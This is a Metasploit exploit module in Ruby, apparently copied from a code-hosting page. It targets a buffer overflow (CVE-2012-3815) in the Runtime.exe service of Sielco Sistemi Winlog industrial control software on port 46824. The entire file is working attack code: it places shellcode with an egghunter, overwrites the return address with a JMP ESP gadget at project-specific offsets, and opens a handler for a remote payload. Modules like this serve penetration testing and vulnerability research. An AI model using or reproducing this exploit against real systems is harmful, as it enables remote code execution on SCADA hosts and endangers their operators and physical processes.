100 lines
2.9 KiB
Ruby
100 lines
2.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.
|
|
When sending a specially formatted packet to the Runtime.exe service on port 46824,
|
|
an attacker may be able to execute arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Michael Messner <devnull[at]s3cur1ty.de>'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'BID', '53811'],
|
|
[ 'CVE', '2012-3815'],
|
|
[ 'OSVDB', '82654'],
|
|
[ 'EDB', '18986'],
|
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],
|
|
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'ExitFunction' => 'process',
|
|
},
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2000,
|
|
'BadChars' => "\x00",
|
|
'DisableNops' => true,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',
|
|
{
|
|
'Ret' => 0x405153df,
|
|
'Offset' => 167,
|
|
}
|
|
], # Jmp ESP - Vclx40.bpl - 0x405153df
|
|
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
|
|
{
|
|
'Ret' => 0x405153df,
|
|
'Offset' => 151,
|
|
}
|
|
], # Jmp ESP - Vclx40.bpl - 0x405153df
|
|
#The reliability depends on the actual project. We need to generate some more
|
|
#targets. Two of them for the default project and one other project is now available.
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jun 04 2012',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options([Opt::RPORT(46824)], self.class)
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
|
|
|
|
print_status("Placing the shellcode")
|
|
shellcode = rand_text_alpha(2000)
|
|
shellcode << egg
|
|
sock.put(shellcode)
|
|
|
|
select(nil,nil,nil,1)
|
|
|
|
buffer = rand_text_alpha(20)
|
|
buffer << "\x14" * 10 #trigger the crash
|
|
buffer << rand_text_alpha(target['Offset'])
|
|
buffer << [target.ret].pack('V')
|
|
buffer << egghunter
|
|
buffer << rand_text_alpha(69 - egghunter.length)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(buffer)
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
end
|
|
|